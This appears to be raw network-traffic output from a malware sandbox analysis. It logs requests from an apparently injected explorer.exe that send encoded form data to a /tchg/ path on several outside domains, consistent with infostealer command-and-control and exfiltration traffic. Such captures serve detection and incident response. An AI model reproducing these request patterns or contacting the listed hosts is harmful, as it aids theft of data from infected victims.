May 30, 2023 11:13:46.334471941 CEST	1879	OUT	GET /tchg/?2ax=jRqfPy4_lz2&O0qEM=t2tzMhBRWo10Eosyb8KFBuaI1V5h8MV7T2bC3+E0nZXV+FHXmJExWsZaqAHQ5axaFjoD9IuPadSp7WKT8CRkiPajdeOXH8cJLw== HTTP/1.1 Host: www.oleictude.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:13:46.438244104 CEST	1879	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:46 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.11.20	49863	162.214.206.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:51.609028101 CEST	1880	OUT	POST /tchg/ HTTP/1.1 Host: www.scottsteedley.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.scottsteedley.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.scottsteedley.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 31 77 6a 2d 6a 75 6a 56 6a 53 28 36 31 56 32 70 47 69 61 49 30 63 61 47 35 41 4f 56 47 58 35 68 5a 7a 32 59 41 79 61 6d 59 78 41 35 72 6b 46 79 36 6f 4f 68 4f 65 55 69 43 74 4b 59 4e 6a 4f 63 56 62 58 5f 4f 36 45 38 6f 4f 50 4f 28 33 69 4d 33 6b 6e 74 42 62 53 43 42 4b 55 36 79 34 39 6a 48 31 44 53 66 44 33 49 7a 59 69 4b 77 48 46 4b 47 67 62 46 62 4b 7e 71 49 51 38 58 31 4e 56 47 65 70 72 58 37 4b 76 64 53 39 48 41 69 55 67 48 39 4f 64 67 6b 52 30 39 4e 41 53 6f 58 6a 6c 65 4d 55 58 78 37 30 4d 65 56 6c 59 6d 46 37 50 55 77 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=1wj-jujVjS(61V2pGiaI0caG5AOVGX5hZz2YAyamYxA5rkFy6oOhOeUiCtKYNjOcVbX_O6E8oOPO(3iM3kntBbSCBKU6y49jH1DSfD3IzYiKwHFKGgbFbK~qIQ8X1NVGeprX7KvdS9HAiUgH9OdgkR09NASoXjleMUXx70MeVlYmF7PUwg).
May 30, 2023 11:13:51.777358055 CEST	1881	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Tue, 30 May 2023 09:13:50 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are loo
May 30, 2023 11:13:51.777434111 CEST	1882	IN	Data Raw: 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: king for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.11.20	49864	162.214.206.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:54.294806004 CEST	1883	OUT	POST /tchg/ HTTP/1.1 Host: www.scottsteedley.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.scottsteedley.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.scottsteedley.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 31 77 6a 2d 6a 75 6a 56 6a 53 28 36 32 31 6d 70 48 46 4f 49 6a 73 61 46 6c 51 4f 56 4d 33 35 6c 5a 79 4b 59 41 7a 66 35 59 45 6f 35 72 46 31 79 37 74 36 68 4a 65 55 69 49 4e 4b 5a 44 44 50 51 56 62 72 4e 4f 2d 4d 38 6f 4f 72 4f 35 56 71 4d 78 55 6e 73 4b 37 53 4e 43 4b 55 37 6b 34 39 6c 48 31 4f 35 66 47 6e 49 7a 4d 53 4b 7a 42 70 4b 58 46 76 47 4e 61 7e 73 4f 51 38 55 36 74 56 79 65 70 6e 70 37 49 76 6e 53 4f 62 41 69 31 41 48 38 4f 64 6e 32 42 30 32 53 51 54 64 47 54 30 72 4e 32 7e 49 6c 6e 6f 73 62 46 64 74 4c 4b 4b 48 6d 55 4f 52 7a 33 44 67 61 35 5a 44 6f 31 4c 71 38 6f 68 51 61 75 52 49 52 4d 71 4d 32 69 75 58 75 37 7a 70 37 30 79 31 6d 69 70 52 45 59 7a 39 4e 6b 77 36 47 67 4d 58 75 42 6b 37 46 49 6b 70 4b 6d 58 43 69 54 6c 54 49 34 66 66 7e 64 75 78 43 47 69 4c 46 51 28 31 6d 37 63 6f 7a 71 44 47 31 38 4b 6a 58 42 44 61 4a 70 76 4f 39 74 66 37 59 50 50 48 64 5f 58 4e 4a 79 71 64 28 6c 71 79 71 79 54 54 46 38 56 58 32 4f 59 36 6c 56 33 55 63 79 36 49 4f 55 39 62 67 7a 63 79 6f 4c 52 6c 7a 42 7a 47 37 42 50 6b 37 44 79 79 73 6e 53 4e 35 71 6f 6c 6c 42 4b 64 35 6a 42 70 41 66 48 73 59 43 7e 48 52 4a 31 33 68 74 64 71 4a 5a 4d 73 52 4c 6c 52 65 68 45 5a 34 33 66 4c 4f 41 50 79 70 37 4b 43 79 55 52 31 30 54 53 32 55 53 32 53 6e 38 53 30 68 38 77 39 6b 5f 30 52 77 32 4c 74 61 4c 78 7a 47 38 53 5a 4c 75 31 71 5a 46 7e 77 35 53 46 55 65 4e 52 64 6a 73 43 51 7e 61 32 37 70 48 62 31 6e 34 58 36 32 71 6e 35 54 59 32 33 63 7a 77 38 76 45 39 33 49 72 37 43 69 64 31 6e 30 74 6f 74 7e 2d 76 4a 51 58 44 4b 4e 77 56 76 64 30 59 4f 49 72 41 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=1wj-jujVjS(621mpHFOIjsaFlQOVM35lZyKYAzf5YEo5rF1y7t6hJeUiINKZDDPQVbrNO-M8oOrO5VqMxUnsK7SNCKU7k49lH1O5fGnIzMSKzBpKXFvGNa~sOQ8U6tVyepnp7IvnSObAi1AH8Odn2B02SQTdGT0rN2~IlnosbFdtLKKHmUORz3Dga5ZDo1Lq8ohQauRIRMqM2iuXu7zp70y1mipREYz9Nkw6GgMXuBk7FIkpKmXCiTlTI4ff~duxCGiLFQ(1m7cozqDG18KjXBDaJpvO9tf7YPPHd_XNJyqd(lqyqyTTF8VX2OY6lV3Ucy6IOU9bgzcyoLRlzBzG7BPk7DyysnSN5qollBKd5jBpAfHsYC~HRJ13htdqJZMsRLlRehEZ43fLOAPyp7KCyUR10TS2US2Sn8S0h8w9k_0Rw2LtaLxzG8SZLu1qZF~w5SFUeNRdjsCQ~a27pHb1n4X62qn5TY23czw8vE93Ir7Cid1n0tot~-vJQXDKNwVvd0YOIrA.
May 30, 2023 11:13:54.462641001 CEST	1884	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Tue, 30 May 2023 09:13:53 GMT Connection: close Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are loo
May 30, 2023 11:13:54.462718964 CEST	1884	IN	Data Raw: 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 Data Ascii: king for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.11.20	49865	162.214.206.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:56.982122898 CEST	1887	OUT	POST /tchg/ HTTP/1.1 Host: www.scottsteedley.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.scottsteedley.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.scottsteedley.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 31 77 6a 2d 6a 75 6a 56 6a 53 28 36 32 31 6d 70 48 46 4f 49 6a 73 61 46 6c 51 4f 56 4d 33 35 6c 5a 79 4b 59 41 7a 66 35 59 45 77 35 72 33 74 79 39 4f 53 68 49 65 55 69 4c 4e 4b 69 44 44 50 64 56 62 43 45 4f 2d 41 73 6f 4d 6a 4f 38 58 53 4d 78 69 62 73 50 37 53 41 4e 71 55 39 79 34 39 78 48 31 43 74 66 43 33 2d 7a 63 4f 4b 77 47 56 4b 47 43 44 46 44 71 7e 71 4f 51 38 59 6f 64 56 55 65 6f 54 35 37 49 7a 6e 53 4e 76 41 6a 47 34 48 36 65 68 6e 78 52 30 35 4c 41 54 6f 66 44 31 56 4e 32 37 5f 6c 6e 6f 53 62 45 5a 74 4c 4b 71 48 6e 53 47 53 7a 58 44 67 5a 35 5a 4d 73 31 47 6a 38 6f 74 49 61 76 31 49 52 4d 53 4d 33 43 75 58 72 61 7a 71 70 55 7a 77 73 43 70 47 41 59 33 31 4e 67 51 55 47 68 59 58 75 52 41 37 45 37 63 70 49 44 72 43 69 7a 6c 52 45 6f 66 32 77 4e 76 6f 43 47 79 74 46 55 4c 6c 6d 35 51 6f 7a 50 50 47 77 59 57 67 51 68 44 63 56 35 76 62 33 39 54 5f 59 50 28 44 64 5f 58 64 4a 7a 65 64 28 31 61 79 72 7a 54 53 47 73 56 63 7e 75 5a 36 28 6c 7a 4f 63 79 32 51 4f 55 56 4c 67 31 51 79 70 72 52 6c 31 67 7a 42 69 42 50 70 33 6a 79 67 6a 48 53 6b 35 71 6b 54 6c 46 54 5f 35 54 74 70 47 76 58 73 4a 69 7e 59 55 70 31 7a 76 4e 64 57 59 70 4d 73 52 4c 35 46 65 68 49 5a 34 46 66 4c 50 7a 58 79 69 4d 57 43 77 55 52 7a 30 54 53 72 55 53 36 78 6e 38 62 6a 68 34 4e 53 6b 39 34 52 7a 6d 33 74 5a 4b 78 79 57 38 54 54 50 75 30 38 58 6b 44 71 35 52 78 63 65 4e 42 72 6a 66 57 51 39 61 6d 37 28 33 62 32 74 34 58 78 7e 4b 6d 69 5a 34 71 72 63 7a 73 73 76 46 5a 6e 49 74 62 43 6e 70 59 76 76 65 67 54 6f 2d 72 59 54 69 7a 48 4e 57 4a 33 42 32 6b 75 4d 74 6d 61 46 65 31 5a 30 41 32 64 4a 31 55 42 59 63 4c 4a 77 72 53 48 6b 35 4a 51 6f 58 67 41 36 65 78 78 4d 6e 61 32 51 39 35 35 50 43 73 70 75 6c 67 61 66 37 6c 39 6e 42 69 71 4b 57 4c 55 62 6d 31 45 31 55 28 4a 36 43 55 62 58 4c 32 54 32 49 64 65 44 61 71 6d 78 59 70 57 76 6e 76 56 76 45 4e 4e 72 56 65 66 66 43 41 77 42 73 53 49 49 38 4b 6e 49 5f 4e 6d 6c 51 4a 42 49 51 74 75 6f 5f 79 50 48 74 66 78 79 2d 4e 56 76 64 77 75 69 51 6c 37 42 33 6c 45 5a 4d 79 4b 46 69 32 52 51 5f 36 6d 63 69 47 6b 56 6c 67 47 59 55 61 4b 47 37 34 6d 44 74 70 4b 37 73 6c 48 69 4f 46 57 62 6f 78 49 43 42 4b 6f 39 58 34 6c 76 71 33 46 67 43 4d 49 76 2d 78 73 34 4d 52 56 6f 32 59 56 56 5f 49 46 50 44 39 62 6d 43 6c 34 66 6f 50 66 59 4e 69 41 61 68 57 39 4e 52 71 34 67 7a 63 58 48 4c 47 4b 7e 46 64 37 31 48 67 41 53 77 5a 74 74 7a 62 38 77 47 43 54 71 6f 43 53 75 51 48 73 58 4a 6b 72 5a 54 42 56 31 34 55 75 67 70 59 6e 43 47 35 76 71 4f 49 4a 54 34 79 39 46 57 52 65 6b 30 52 4a 4d 4a 37 64 6d 41 54 6f 6b 32 52 48 73 48 31 35 68 68 47 56 42 66 67 67 51 76 38 4f 48 4c 6d 59 6a 41 5a 59 49 4b 72 69 6e 72 73 65 70 50 53 30 48 7a 36 6f 7e 56 4c 48 64 4d 44 5f 44 5a 48 30 44 45 5a 50 77 79 34 6c 64 70 67 5a 52 58 72 45 42 53 47 4c 73 46 46 66 57 49 59 5f 68 33 52 47 41 35 34 66 55 72 41 68 39 50 59 4d 54 48 67 73 46 48 6d 68 75 6b 76 71 48 48 55 55 4f 51 70 68 30 68 66 38 4f 6b 53 5a 33 6d 33 38 66 67 72 35 34 5a 77 39 39 6b 4a 71 79 68 34 62 4b 65 33 72 71 69 62 4d 31 70 4b 39 53 4f 62 35 4a 56 4d 46 66 70 33 5a 4b 70 44 77 49 68 4b 5f 76 37 64 33 77 44 55 5a 52 4d 6c 55 57 74 4c 30 63 53 5a 5f 45 5a 64 74 52 76 78 33 76 55 7a 4b 76 6b 45 68 6e 41 4d 47 45 53 42 63 39 36 47 33 52 57 4d 5f 63 4b 78 77 4e 70 4a 52 4a 33 55 6d 6d 31 43 49 6f 62 4b 36 67 62 4c 5a 55 50 34 64 53 47 42 6e 72 59 35 56 5a 71 50 36 46 38 32 70 67 43 51 61 7a 30 75 37 56 35 75 67 6a 74 36 69 4b 64 4d 6f 71 64 77 74 4d 48 76 4d 53 52 37 78 39 67 59 73 70 76 75 33 52 2d 54 55 75 46 7e 77 4d 36 6b 53 28 47 46 69 7e 30 35 55 7e 75 76 59 63 76 52 66 68 79 35 45 76 6b 57 30 53 39 6a 73 77 7a 75 4f 75 6f 56 61 50 64 73 78 5a 30 32 56 32 75 63 61 61 62 63 6c 6e 44 4c 58 54 71 7a 31 79 6f 56 57 6f 4f 61 78 6a 52 6a 2d 44 6a 46 35 49 77 76 70 45 63 79 6c 6d 30 72 61 52 49 74 73 55 33 39 5f 5a 39 4c 35 6c 31 72 62 51 76 7e 57 4e 76 73 6e 35 67 4a 4f 7a 43 31 66 28 43 54 36 36 54 53 37 43 36 6e 2d 61 5a 32 75 78 72 28 45 6b 57 46 50 51 6d 41 51 55 59 42 5a 61 70 68 4f 56 4b 50 4a 36 47 69 36 53 74 45 6a 46 35 30 34 38 58 34 56 33 6e 28 75 7a Data Ascii: O0qEM=1wj-jujVjS(621mpHFOIjsaFlQOVM35lZyKYAzf5YEw5r3ty9OShIeUiLNKiDDPdVbCEO-AsoMjO8XSMxibsP7SANqU9y49xH1CtfC3-zcOKwGVKGCDFDq~qOQ8YodVUeoT57IznSNvAjG4H6ehnxR05LATofD1VN27_lnoSbEZtLKqHnSGSzXDgZ5ZMs1Gj8otIav1IRMSM3CuXrazqpUzwsCpGAY31NgQUGhYXuRA7E7cpIDrCizlREof2wNvoCGytFULlm5QozPPGwYWgQhDcV5vb39T_YP(Dd_XdJzed(1ayrzTSGsVc~uZ6(lzOcy2QOUVLg1QyprRl1gzBiBPp3jygjHSk5qkTlFT_5TtpGvXsJi~YUp1zvNdWYpMsRL5FehIZ4FfLPzXyiMWCwURz0TSrUS6xn8bjh4NSk94Rzm3tZKxyW8TTPu08XkDq5RxceNBrjfWQ9am7(3b2t4Xx~KmiZ4qrczssvFZnItbCnpYvvegTo-rYTizHNWJ3B2kuMtmaFe1Z0A2dJ1UBYcLJwrSHk5JQoXgA6exxMna2Q955PCspulgaf7l9nBiqKWLUbm1E1U(J6CUbXL2T2IdeDaqmxYpWvnvVvENNrVeffCAwBsSII8KnI_NmlQJBIQtuo_yPHtfxy-NVvdwuiQl7B3lEZMyKFi2RQ_6mciGkVlgGYUaKG74mDtpK7slHiOFWboxICBKo9X4lvq3FgCMIv-xs4MRVo2YVV_IFPD9bmCl4foPfYNiAahW9NRq4gzcXHLGK~Fd71HgASwZttzb8wGCTqoCSuQHsXJkrZTBV14UugpYnCG5vqOIJT4y9FWRek0RJMJ7dmATok2RHsH15hhG